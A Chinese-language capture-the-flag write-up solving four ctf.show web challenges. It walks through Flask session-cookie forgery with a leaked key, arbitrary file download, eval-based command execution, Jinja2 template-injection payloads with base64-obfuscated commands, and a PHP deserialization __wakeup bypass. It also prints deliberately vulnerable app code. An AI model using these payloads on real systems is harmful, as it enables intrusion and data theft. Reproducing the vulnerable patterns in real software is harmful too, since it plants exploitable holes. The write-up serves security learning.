web

easy_signin

https://ctf.show/challenges#easy_signin-3967

首先给到一个url

http://f43e5622-a292-404c-98b5-85b54f0450d8.challenge.ctf.show/?img=ZmFjZS5wbmc=

url后img为base64 ZmFjZS5wbmc= => face.png

那可以直接读取源码,index.php, index.php => aW5kZXgucGhw

右键查看源代码即可看到

pd9开头为<?php 直接解密即可

image-20230406144147722

easy_flask

https://ctf.show/challenges#easy_flask-3971

打开题目连接是一个登录框,可以进行用户注册

可以参考这篇文章

https://blog.csdn.net/since_2020/article/details/119543172

随便一个用户注册,123/123登录上去,可以看到learn可以点击,查看到源代码

有一个app.secret_key = 'S3cr3tK3y'最为显眼,联想到flask session伪造,

可以重新登录抓包,看是否有session

Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZC52mw.SomJhBqFTfEKGMkcqlorSxEhAHA

可以看到session jwt相似用https://github.com/noraj/flask-session-cookie-manager这个工具可以进行解密

1
2
└─# python3 flask_session_cookie_manager3.py decode -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZC52mw.SomJhBqFTfEKGMkcqlorSxEhAHA" -s "S3cr3tK3y"
{'loggedin': True, 'role': 'user', 'username': '123'}

可以看到有role值为user,源码中未见管理员的字样,盲猜为admin,接着构造包

image-20230406161237019

1
2
3
└─# python3 flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': '123'}"
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.ZC5-7A.6id7rF3wmWSp5nux_ylHGAhfbn8

将构造好的数据进行替换session,这样

image-20230406161503735

image-20230406161453957

再次访问主页面,即可看到主页面多了一个下载的地方,

http://1ca40a3d-c1de-44e7-bd25-dda1d37a3031.challenge.ctf.show/download/?filename=fakeflag.txt,点击时任意文件下载,接下来就下载源码,在最开始看到show目录时,左上角有一个app.py直接下载,下载后可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}



@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))


@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')

@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)

return redirect(url_for('login'))


@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass

return "hello"



@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))


if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)

hello路由处有个eval漏洞,这样传参是很危险的,

image-20230406161902169

参考

https://www.anquanke.com/post/id/84891/

``http://1ca40a3d-c1de-44e7-bd25-dda1d37a3031.challenge.ctf.show/hello/?eval=__import__('os').popen(‘cat /flag_is_h3re’).read()`

即可

easy_ssti

右键源代码有zip包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'

if “ge” in name:
return render_template_string(‘hello %s’ % name)

payload 要有 ge

elif “f” not in name:
return render_template_string(‘hello %s’ % name)

payload 不能有f

先获取可用基类

1
2
3
4
5
6
四种方法皆可
1, {{''.__class__.__base__.__subclasses__()}}

2, {{''.__class__.__base__.__subclasses__()}}
3, {{''.__class__.__mro__[-1].__subclasses__()}}
4, {{().__class__.__mro__[1].__subclasses__()}}

获取到后,用脚本嗦一下可用的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re

# 将查找到的父类列表替换到data中
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

image-20230406171826914

可以看到132的os._wrap_close可用 popen也可用

http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}即可命令执行

但是下面执行ls / 时几句不可以了,显示404

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls $(echo Lw== | base64 -d)').read()}}

http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('$(echo bHM= | base64 -d) $(echo Lw== | base64 -d)').read()}}

http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat $(echo Li4vZmxhZw== | base64 -d)').read()}}

官方
/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}ge?ctfshow=cat /flag

POC1:
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
POC2:
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls')
.read()}}
POC3:
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls')
.read()}}

http://a5d0ef3a-4dec-4de0-9564-0bd0be13b83e.challenge.ctf.show/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat $(echo Li4vZmxhZw== | base64 -d)').read()}}

easy_php

开局给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}


?>


显然是反序列化,这里要知道一些魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
_construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

__wakeup() 使用unserialize()时自动触发 ,代码中使用了 unserialize函数,那就会销毁

在php5中绕过__wakeup()将对象属性的个数值大于真实的属性就会跳过__wakeup()

php7环境下,需要序列化ArrObject类来绕过

1
2
3
4
5
6
7
8
9
10
11
php5环境下,只需要在正常生成的序列化字符串数字前添加一个+号即可绕过执行
方法:
echo serialize(new ctfshow())
payload:
O:+7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}
php7环境下,需要序列化ArrObject类来绕过
方法:
echo serialize(new ArrayObject(new ctfshow()));
payload:
C:11:"ArrayObject":61:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";};m:a:0:{}}

此题中为php7

payload 自己加一个public变量即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class ctfshow{
public $ctfshow='cat /f*';

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];
print($data);
echo serialize(new ArrayObject(new ctfshow()));

?>
//C:11:"ArrayObject":61:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";};m:a:0:{}}

http://bd6bbd85-fa6e-4a78-ab40-c83485c956ed.challenge.ctf.show/?1%2b1>2=C:11:"ArrayObject":61:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";};m:a:0:{}}

image-20230406223747040

最后

一直在路上